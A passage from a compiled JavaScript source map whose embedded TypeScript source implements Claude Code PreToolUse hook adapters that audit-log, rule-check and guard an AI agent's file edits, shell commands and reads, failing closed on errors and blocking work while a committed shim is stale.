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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection, extractRuleNames } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, invocationLog, MATRIX_L0, MATRIX_L2 } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { governingShimRoot, isAllowed, installedShimRulesVersion } from '../bin/shim';\nimport { shimStaleDenyReason } from '../bin/shim-deny-reason';\nimport { managedSurfaceDrift } from '../bin/hook-registration';\nimport { writeGuardMatrixDoc, guardMatrixPointer } from '../core/l0-matrix';\nimport { logStream, StreamIdentity } from '../core/log-stream';\nimport { L0_FAULT_SHIM_STALE, L0_FAULT_NONE } from '../core/l0-fault-codes';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (the `calls/` stream). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n // Present ONLY when the hook fires inside a SUBAGENT; absent = the coordinator. Used to NAME the log\n // writer file and nothing else — never to decide which tree a call acts on, which is measured from\n // the path (see core/version-sync.ts). A worktree-isolated agent was measured resuming on the primary\n // clone after its tree was reaped, so identity cannot stand in for location.\n session_id?: string;\n agent_id?: string;\n agent_type?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\n// The rule name for a block's audit line: the FIRST rule the report cites, or `fallback` when the\n// report opens with no `[rule]` header (a hand-written guard message). Comma-joined when a report\n// cites several, so `rule=` never silently drops one.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction blockingRule(report: string, fallback: string): string {\n const names = extractRuleNames(report);\n return names.length > 0 ? names.join(',') : fallback;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // NO DECISION LINE HERE. This used to write a generic `bash-guard` line because a Bash deny once\n // had no audit trail at all — but every layer now records its own: L1 into `L1-location/` with its\n // row, L2's guards into `L2-decisions/` with their rule and cache, and emitDeny below stamps the\n // call-level outcome onto `calls/`. So this was the THIRD line for one block, and the worst of the\n // three: it re-resolved the root from `cwd` via RepoRootFinder, which is not necessarily the tree\n // the guard actually judged, so a `cd`-relocated command scattered one block across two different\n // `.webpieces` directories.\n //\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash', blockingRule(result.report, 'bash-guard'), result.fault);\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read', blockingRule(result.report, 'read-guard'), result.fault);\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW_EXEMPT', 'config-bypass (feature-branch-guard skipped)', '-', L0_FAULT_NONE, MATRIX_L2),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind, blockingRule(result.report, 'file-guard'), result.fault);\n}\n\n// What a stale committed shim lets through — now a thin adapter over the ONE L0 allowlist (isAllowed in\n// ../bin/shim), not a list of its own. A stale shim must NEVER trap the actions needed to recover: the\n// original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how.\n//\n// It used to carry its OWN narrower list (isShimCureCommand: the three shim cures only), and that\n// narrowness was a defect, not a safety property: `pnpm install` and `git pull` — the two commands that\n// resolve the version disagreement underneath a stale shim — were denied. Consulting the shared\n// allowlist fixes that by construction.\n//\n// What is NOT a defect, and must not be \"fixed\": those cures rewrite the committed shim from the\n// INSTALLED binary's renderShim(), overwriting whatever was there. That is the invariant, not\n// collateral damage. The shim (D/X/K, in POSIX sh, pre-binary) and this binary (S/C/Y, in JS) are two\n// halves of ONE L0 and they exchange assumptions — the shim parses file_path and carries ALLOW-READ /\n// ALLOW-CONFIG entries this binary relies on. Pair a binary with a shim rendered by a DIFFERENT\n// release and L0 acquires holes that nothing reports. So the rule is absolute: the committed shim\n// equals renderShim() of the binary in node_modules, and a cure that forces that is the cure working.\n// See healShim's header, which states the same invariant from the other side.\n//\n// Corollary for anyone regenerating the shim in a webpieces PR: commit `templates/ai-hook.sh` (source,\n// locked to renderShim() by unit test) and leave `.claude/webpieces/ai-hook.sh` (generated artifact)\n// alone. In THIS repo the local source runs ahead of the pinned node_modules, so committing a shim\n// rendered from local source produces a commit whose shim and whose @webpieces pin come from different\n// releases — precisely the mismatch above. The artifact heals on the next upgrade; that is its job.\n//\n// - 'allow-cure' → a Bash cure on the allowlist: emitAllow directly, bypassing the git guards.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string): ShimStaleDecision {\n const allowed = isAllowed(toolName, command, filePath);\n if (allowed === 'pass') return 'pass';\n if (allowed === 'allow') return 'allow-cure';\n return 'deny';\n}\n\n// MANAGED-HOOK-SURFACE self-guard, moved here from the rendered shim (2026-07-24) and widened from one\n// file to three (2026-08-07). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n // ONE root for the whole decision, resolved from the RUNNING MODULE (governingShimRoot), never from\n // `cwd`: the shim file we compare and the renderShim() we compare it TO must come from the same\n // install, or the check straddles two trees and can never converge (see governingShimRoot's header).\n // `cwd` still selects where the L0 matrix doc is dropped — that is a \"where does the AI read\" question,\n // not part of the judgement.\n const shimRoot = governingShimRoot();\n if (mode === 'rules') return;\n // WHICH of the three managed things moved — ai-hook.sh, the settings.json registration, or its\n // managed env entry (the Bash-cwd pin that keeps a guard's verdict independent of where an earlier\n // `cd` left the shell; see managed-env.ts). Nothing validated the registration before it joined this\n // fault, so a settings file left on a superseded form silently changed WHO GOVERNS, with no signal\n // anywhere — which is the whole reason the registration is a drift surface and not just an install\n // step.\n const drifted = managedSurfaceDrift(shimRoot);\n if (drifted.length === 0) return;\n const decision = shimStaleRecoveryDecision(payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '');\n if (decision === 'pass') return;\n if (decision === 'allow-cure') emitAllow();\n // Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of\n // the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n const docPath = writeGuardMatrixDoc(root);\n // WRITE THE AUDIT LINE HERE. This block happens BEFORE invocationLog.begin() — it has to, since a\n // stale shim invalidates everything downstream — so emitDeny's flush finds nothing pending and an\n // `S` storm left NO trace at all: the one fault most likely to block twenty consecutive tool calls\n // was the one fault the trail could not show. A decision line is the fix that costs no reordering.\n const target = payload.tool_input.command ?? payload.tool_input.file_path ?? '';\n logGuardDecision(\n root,\n new GuardDecision('committed-shim-stale', payload.tool_name, target, branchForLog(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', L0_FAULT_SHIM_STALE, MATRIX_L0),\n );\n // L0 fault S in GUARD_MATRIX.md's codebook — named as the blocking rule so the invocation line\n // says WHAT stopped the call, not merely that something did, and stamped as `fault=S` so the same\n // grep finds it here as in the sh half's `L0-shim/` stream.\n // A subagent is discriminated by `agent_id`, which Claude Code populates on stdin only off the main\n // loop (main falls back to the session id, so the field is absent). Its cure differs: the hooks\n // blocking it resolve through CLAUDE_PROJECT_DIR, which names the MAIN tree.\n const inSubagent = (payload.agent_id ?? '') !== '';\n emitDeny(shimStaleDenyReason(installedShimRulesVersion(), shimRoot ?? '', drifted, inSubagent) + guardMatrixPointer(docPath), payload.tool_name, 'committed-shim-stale', L0_FAULT_SHIM_STALE);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse `permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // BEFORE enforceCommittedShim(), which can itself write a BLOCK line. See LogStream for why\n // all three of session/agent/hook are needed to keep concurrent writers off one file.\n logStream.identify(new StreamIdentity(payload.session_id ?? '', payload.agent_id ?? '', mode));\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, cwd, mode);\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule\n // ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n invocationLog.begin(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Per-invocation guard log (the `calls/` stream): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n invocationLog.begin(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n denyForCrash(error, toolName);\n }\n}\n\n/**\n * The fail-closed boundary for anything that escaped the hook body. An escaped RuleFailError (a rule\n * that threw past the runner's per-rule catch) or an InformAiError (bad config/stdin) both carry an\n * AI-readable message; anything else is an unexpected bug. All three DENY and surface their reason,\n * because a hook that crashed established nothing and must never be read as an allow.\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter; a lone class for one terminal boundary would break the file's shape\nfunction denyForCrash(error: Error, toolName: string): never {\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName, 'rule-crash');\n }\n if (error instanceof InformAiError) {\n emitDeny(error.message, toolName, 'bad-config-or-stdin');\n }\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName, 'hook-crash');\n}\n"]}
1
+ {"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":";;AA6OA,8DAKC;AA+DD,0BAgEC;;AAjXD,mDAA6B;AAE7B,2CAAuD;AACvD,yDAAuE;AACvE,uDAAgI;AAChI,iEAAmE;AACnE,qDAAsD;AACtD,0DAAyD;AACzD,yCAAqI;AACrI,+CAA2C;AAC3C,iEAA6D;AAC7D,sCAAsF;AACtF,8DAA8D;AAC9D,gEAA+D;AAC/D,iDAA4E;AAC5E,mDAA+D;AAC/D,2DAA4E;AAW5E,MAAM,kBAAkB,GAAG,IAAI,GAAG,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,WAAW,CAAC,CAAC,CAAC;AAEnE,qGAAqG;AACrG,8FAA8F;AAC9F,oGAAoG;AACpG,kGAAkG;AAClG,mDAAmD;AACnD,MAAM,eAAe,GAAG,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AA+B1C,SAAS,SAAS;IACd,OAAO,IAAI,OAAO,CAAC,CAAC,OAAgC,EAAE,EAAE;QACpD,IAAI,IAAI,GAAG,EAAE,CAAC;QACd,OAAO,CAAC,KAAK,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC,MAAM,EAAE,CAAC,KAAa,EAAE,EAAE,GAAG,IAAI,IAAI,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;QAChE,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC,KAAK,EAAE,GAAG,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;QAC7C,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC,OAAO,EAAE,GAAG,EAAE,CAAC,OAAO,CAAC,EAAE,CAAC,CAAC,CAAC;QAC7C,IAAI,OAAO,CAAC,KAAK,CAAC,KAAK;YAAE,OAAO,CAAC,EAAE,CAAC,CAAC;IACzC,CAAC,CAAC,CAAC;AACP,CAAC;AAED,SAAS,SAAS,CAAC,GAAW;IAC1B,IAAI,CAAC,GAAG,IAAI,GAAG,CAAC,IAAI,EAAE,KAAK,EAAE;QAAE,OAAO,IAAI,CAAC;IAC3C,8DAA8D;IAC9D,IAAI,CAAC;QACD,OAAO,IAAI,CAAC,KAAK,CAAC,GAAG,CAAsB,CAAC;IAChD,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,MAAM,KAAK,GAAG,IAAA,kBAAO,EAAC,GAAG,CAAC,CAAC;QAC3B,MAAM,IAAI,qBAAa,CAAC,gDAAgD,KAAK,CAAC,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC;IAC/G,CAAC;AACL,CAAC;AAED,SAAS,iBAAiB,CAAC,QAAgB;IACvC,IAAI,kBAAkB,CAAC,GAAG,